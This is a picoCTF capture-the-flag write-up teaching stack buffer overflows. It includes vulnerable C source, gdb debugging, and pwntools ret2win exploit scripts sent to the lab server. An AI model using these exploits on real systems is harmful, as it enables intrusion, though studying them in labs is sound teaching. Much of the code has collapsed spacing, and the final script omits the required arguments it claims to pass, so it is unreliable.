Hello! I am skelet0n in this series, we will be focusing on the basics of the Buffer Overflow anomaly and how to exploit it.
So what is a buffer overflow? A buffer overflow is an anomaly whereby a program while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations. Buffers are areas of memory set aside to hold data, often while moving it from one section of a program to another, or between programs. An anomalous transaction that produces more data could cause it to write past the end of the buffer. If this overwrites adjacent data or executable code, this may result in erratic program behavior. One can exploit the behavior of a buffer overflow, to write malicious data in locations known to hold executable code.
To exploit a buffer overflow we generally use the following road map:
Overflow the buffer of the vulnerable program
Find the EIP offset
Create shell code to exploit the program or use a ret2-based attack
EIP (Extended Instruction Pointer)
EIP is a pointer that tells the computer where to go next to execute the next instruction and therefore controls the flow of a program.
Return Address
The return address causes execution to leave the current subroutine and resume at the point in the code immediately after the instruction that called it. The return address is saved by the calling routine on the stack or in a register (EIP)
RET2 Attack
When overflowing the buffer important data on the stack are overwritten. One important piece of data that gets overwritten is the return address. From the definition above you can understand its importance of it. With that in mind, if we can inject our malicious return address we can call a function that was never meant to be called.
Getting our hands dirty
For this series we will be completing some great challenges picoCTF has put together. Each of these challenges has the same scope although each time the difficulty will be increased (nothing to fear though :D).
Buffer Overflow 0x0
Let's download the source code and compiled program using wget and give execution permissions to the application:
After some quick research βSIGSEGVβ stands for a segmentation fault, which is an error raised by memory-protected hardware whenever it tries to access a memory address that is either restricted or does not exist. If the flag printf() resides within sigsegv_handler(), then we must figure out how to trigger a segmentation fault. Looking to the next function we can assume that this shouldn't be that hard of a problem.
Okay, this is exactly what we were talking about. The program will try to store some input into a 16-byte buffer. To overflow the program we will use python2 to generate garbage data that exceed the buffer's capacity and pipe them to the application. Before we do that though let's take a look at the main() function.
intmain(int argc,char**argv){ FILE *f =fopen("flag.txt","r");if (f ==NULL) {printf("%s%s","Please create 'flag.txt' in this directory with your","own debugging flag.\n");exit(0); }fgets(flag,FLAGSIZE_MAX,f);signal(SIGSEGV, sigsegv_handler); // Set up signal handlergid_t gid =getegid();setresgid(gid, gid, gid);printf("Input: ");fflush(stdout);char buf1[100];gets(buf1); vuln(buf1);printf("The program will exit now\n");return0;}
It firstly opens the flag file if present (If you are playing with this on your machine you have to create a dummy flag.txt file).
Then it writes the contents of the file into the flag buffer.
Don't get excited! If you look closely the function being used is fgets().
It is a more secure function that performs checks to avoid buffer overflows.
But it's great that you noticed it!
We see that on line 40, gets() is called, and reads buf1 (the user input) onto the stack.
This function sucks from a security perspective, as it will write the userβs input to the stack without regard to its allocated length.
The program will pass their input into the vuln() function to trigger a segmentation fault. Let's do that using python2
By analyzing the compiled program we can suppose that in the future we will be able to easily obtain and examine the functions since the application is not stripped. We can confirm this by using the file command as shown below:
#defineFLAGSIZE64voidwin() {char buf[FLAGSIZE]; FILE *f =fopen("flag.txt","r");if (f ==NULL) {printf("%s%s","Please create 'flag.txt' in this directory with your","own debugging flag.\n");exit(0); }fgets(buf,FLAGSIZE,f);printf(buf);}
The win() function tries to read the flag from the file flag.txt and prints it to the screen. Is that it? We just run the program and we get the flag? I'm afraid that is not the case. let's take a look at the remaining functions.
#defineBUFSIZE32voidvuln(){char buf[BUFSIZE];gets(buf);printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());}
We can see that vuln() uses gets() to put data from our input into the buffer.
This is quite dangerous since it does not perform checks to prevent buffer overflows.
Therefore, this is our way in!
Notice the function gives us the return address. let's keep that in mind because it will be useful for debugging.
intmain(int argc,char**argv){setvbuf(stdout,NULL, _IONBF,0);gid_t gid =getegid();setresgid(gid, gid, gid);puts("Please enter your string: ");vuln();return0;}
Now the main() function. The only thing it does is print a string to the screen and then call the vuln() function. We can see that win() doesn't seem to be called. Well, it turns out we will have to dig more than that!
π Debugging
Let's fire up gdb (Gnu project DeBugger)
Note that for this writeup we will be using gdb-peda a Python Exploit Development Assistance for gdb Setup with:
And we crashed it. Remember, we got to replace the EIP with the address of the win() function. To do that we need to overflow the stack just enough to reach the EIP and then provide our own. The EIP register is overflowed by the pattern 0x41414641 (afaa). let's find the offset of this pattern.
All we have to do now is find the address of the win() function and craft the final payload.
gdb-peda$xwin0x80491f6<win>:0xfb1e0ff
Notice that win is at 0x80491f6 but we need to convert it in little endian format. This can be done with the pwntools p32() function which results to \xf6\x91\x04\x08
π Exploitation (Manual)
Note In this writeup I include a manual as well as an automated way of exploiting buffer overflows. I believe that a beginner should learn how to exploit it manually and then let the heavylifers do the job.
Let's now use the final payload on the original application.
If you found the above method cool, then trust me this one will excite you :D We are going to automate the process of crafting and sending the payload. Although to automate this, we still need to understand how its done in the first place.
Basic python knowledge is adviced.
For the shake of simplicity, we will use pwntools, an exploit development python library. It is not part of the standard library so you will need to install it with:
$pip3install--upgradepwntools
Firstly let's add some arguments the user can supply when using our exploit.
from pwn import*import argparseparser = argparse.ArgumentParser()parser.add_argument("--offset", type=int, required=True, help="EIP offset to use.")parser.add_argument("--address", type=lambdax: int(x, 0), # This function converts the hexadecimal input to base 10. required=True, help="Address to overwrite the EIP with.")parser.add_argument("--host", type=str, default="saturn.picoctf.net", help="Remote host")parser.add_argument("--port", type=int, required=True, help="Port to use when connecting to remote host.")args = parser.parse_args()
Now let's finally use pwntools to craft the payload.
payload =b"A"* args.offset +p32(args.address)# Create a padding using garbage data and apply Little endian to the given address.
let's use pwntools once again to establish a connection to the remote host and send the payload (we will also log what gets outputted from the host's side).
host, port = args.host, args.portconn =remote(host, port)log.info(conn.recvS())conn.sendline(payload)# We send the payloadlog.success(conn.recvallS())conn.close()
Let's try running the script on the server:
$pythonexploit.py--port=[PORT]--offset44--address=0x80491f6[+] Opening connection to saturn.picoctf.net on port 65512: Done[*] Please enter your string: [+] Receiving all data: Done (100B)[*] Closed connection to saturn.picoctf.net port 65512[+] Okay, time to return... Fingers Crossed... Jumping to 0x80491f6picoCTF{addr3ss3s_ar3_3asy_[REDACTED]}
And we get the flag! Isn't that awesome? From now on we will be using python in order to exploit the buffer overflows.
πͺExploiting (Automated II)
We will now complete the exploit by automating the process of getting the EIP offset. For this, we will use pwntools to parse core dump files, which are generated by Linux whenever errors occur during a running process. They contain lots of First, let's generate an elf object using pwntool's ELF() class
from pwn import*elf = context.binary =ELF('./vuln')
Afterward, we generate a cyclic() payload and start a local process referencing the elf object. If we use the .wait() method a segmentation fault will occur and hence a core dump will be generated.
p =process(elf.path)p.sendline(cyclic(100))p.wait()
Now we can run the exploit and see the core file is generated:
$pythonexploit.py[*] '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_1/vuln'Arch:i386-32-littleRELRO:PartialRELROStack:Nocanaryfound**********NX**********:**********NX**********disabledPIE:NoPIE (0x8048000)RWX:HasRWXsegments[+] Starting local process '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_1/vuln': pid 5906[*] Process '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_1/vuln' stopped with exit code -11 (SIGSEGV) (pid5906)$lscoreexploit.pyflag.txtpattern.txtvulnvuln.c
That worked. We can now use the Coredump() class to parse the core file. Afterward we can get the EIP as well as the address of our win() function. To craft the final payload we will now use flat(), a function that flattens arguments into a string.
And now we need to do some slight modifications to our original exploits and we should be good to go. I made the HOST, PORT arguments optional so that we can also play with this on our host machine.
from pwn import*import argparseparser = argparse.ArgumentParser()parser.add_argument("--host", type=str, default="saturn.picoctf.net", help="Remote host")parser.add_argument("--port", type=int, help="Port to use when connecting to remote host.")args = parser.parse_args()elf = context.binary =ELF('./vuln')p =process(elf.path)p.sendline(cyclic(100))p.wait()core =Coredump('./core')payload =flat({cyclic_find(core.eip): elf.symbols.win})if args.host and args.port: p =remote(args.host, args.port)else: p =process(elf.path)p.sendline(payload)# send the payloadp.interactive()
Now let's run it.
$pythonexploit.py--hostsaturn.picoctf.net--port [PORT][*] '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_1/vuln'Arch:i386-32-littleRELRO:PartialRELROStack:Nocanaryfound**********NX**********:**********NX**********disabledPIE:NoPIE (0x8048000)RWX:HasRWXsegments[+] Starting local process '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_1/vuln': pid 12010[*] Process '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_1/vuln' stopped with exit code -11 (SIGSEGV) (pid12010)[+] Parsing corefile...: Done[*] '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_1/core'Arch:i386-32-littleEIP:0x6161616cESP:0xffb1f300Exe:'/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_1/vuln' (0x8048000)Fault:0x6161616c[+] Opening connection to saturn.picoctf.net on port [PORT]: Done[*] Switching to interactive modePleaseenteryourstring:Okay,timetoreturn...FingersCrossed...Jumpingto0x80491f6picoCTF{addr3ss3s_ar3_3asy_[REDACTED]}[*] Got EOF whilereadingininteractive
We see that the NX bit (no execute) is set. That means we can not inject malicious code (shell code) because it will simply be ignored. Therefore we can try a ret2 based attack. Now let's hope the binary is not stripped.
Okay, that's great. Now let's peek through the source code.
#defineFLAGSIZE64voidwin(unsignedint arg1,unsignedint arg2) {char buf[FLAGSIZE]; FILE *f =fopen("flag.txt","r");if (f ==NULL) {printf("%s%s","Please create 'flag.txt' in this directory with your","own debugging flag.\n");exit(0); }fgets(buf,FLAGSIZE,f);if (arg1 !=0xCAFEF00D)return;if (arg2 !=0xF00DF00D)return;printf(buf);}
We can see that the win() function takes two arguments (arg1, arg2 ). It opens the file flag.txt and stores its contents in a buffer. It then performs some checks on the arguments. If either of the checks fails the function returns without ever printing the flag. Therefore our goal is to call win(0xCAFEF00D, 0xF00DF00D).
What about the other functions? The next function is vuln(). This is what will allow us to perform a buffer overflow and overwrite the stack.
Now the main() function. We can see that we are asked for an input that gets passed to the vuln() function (remember vuln() uses gets() to put the data in the buffer. gets() does not perform checks to avoid buffer overflows so this is our way in.
π Debugging
We will use what we learned from the previous challenge to automatically overwrite the EIP.
from pwn import*elf = context.binary =ELF('./vuln')p =process(elf.path)p.sendline(cyclic(200))# Cause SIGSEGVp.wait()core =Coredump('./core')# Parse the core filelog.info(f"EIP: {core.eip}")log.info(f"win: {elf.symbols.win}")payload =flat({cyclic_find(core.eip): elf.symbols.win # Pad the win address})log.info(f"Payload: {payload}")
$pythonexploit.py[*] '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_2/vuln'Arch:i386-32-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE (0x8048000)[+] Starting local process '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_2/vuln': pid 96975[*] Process '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_2/vuln' stopped with exit code -11 (SIGSEGV) (pid96975)[+] Parsing corefile...: Done[*] '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_2/core'Arch:i386-32-littleEIP:0x62616164ESP:0xff8e6b30Exe:'/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_2/vuln' (0x8048000)Fault:0x62616164[*] EIP: 1650549092[*] win: 134517398[*] Payload: b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaab\x96\x92\x04\x08'
With this simple script, we just saved a lot of time. Now, why don't we see the effect of this payload we generated in action? We will use gdb to set up a breakpoint at the win() function and see if it gets called when we use our payload.
Great! We in fact call the win() function. Now we need to pass in the required parameters. Here's how functions are laid out on the stack.
We can see that to call a function with parameters, we need to include the EBP register (base pointer) alongside a return address. This can simply be main().
Let's manipulate our exploit to find the address of the main function and include it in our payload.
$pythonexploit.py[ ... ][*] EIP: 1650549092[*] win: 134517398[*] main: 134517618[+] Written payload in pattern.txt
Alright. Now to understand a bit more about what is happening under the hood when we use this payload, we can use gdb. Let's again set a breakpoint at our win() function.
Notice that we push the address of the main() function on the top of the stack thanks to our payload. Can you guess what will happen if we hit ni again? Exactly! The program will jump back at the main() function. We are almost there. Now all that's left to do is supply the arguments via our payload.
πͺ Exploiting (Automated)
To craft our final exploit we will apply a lot of the things we learned in the second writeup of this series.
from pwn import*import argparseparser = argparse.ArgumentParser()parser.add_argument("--host", type=str, default="saturn.picoctf.net", help="Remote host")parser.add_argument("--port", type=int, help="Port to use when connecting to remote host.")args = parser.parse_args()elf = context.binary =ELF('./vuln')p =process(elf.path)p.sendline(cyclic(200))# Cause SIGSEGVp.wait()core =Coredump('./core')# Parse the core filelog.info(f"EIP: {core.eip}")log.info(f"win: {elf.symbols.win}")log.info(f"main: {elf.symbols.main}")payload =flat( {cyclic_find(core.eip): elf.symbols.win}, elf.symbols.main # return address)if args.host and args.port: p =remote(args.host, args.port)else: p =process(elf.path)p.sendline(payload)# send the payloadp.interactive()
$pythonexploit.py--hostsaturn.picoctf.net--port [PORT][*] '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_2/vuln'Arch:i386-32-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE (0x8048000)[+] Starting local process '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_2/vuln': pid 123274[*] Process '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_2/vuln' stopped with exit code -11 (SIGSEGV) (pid123274)[+] Parsing corefile...: Done[*] '/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_2/core'Arch:i386-32-littleEIP:0x62616164ESP:0xffcdd4c0Exe:'/home/skeleton/ctf/pico/binary_exploitation/buffer_overflow_2/vuln' (0x8048000)Fault:0x62616164[*] EIP: 1650549092[*] win: 134517398[*] main: 134517618[+] Payload generated[+] Opening connection to saturn.picoctf.net on port 56095: Done[*] Switching to interactive modePleaseenteryourstring:\xf0\xfe\xcadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaab\x96\x92\x04r\x93\x04picoCTF{argum3nt5_4_d4yZ_[REDACTED]}Pleaseenteryourstring:
Buffer Overflow 0x3
According to picoCTF this challenge is under maintenance. Coming soon
The end
I hope you enjoyed this writeup and learned a thing or two about buffer overflows and how to exploit them.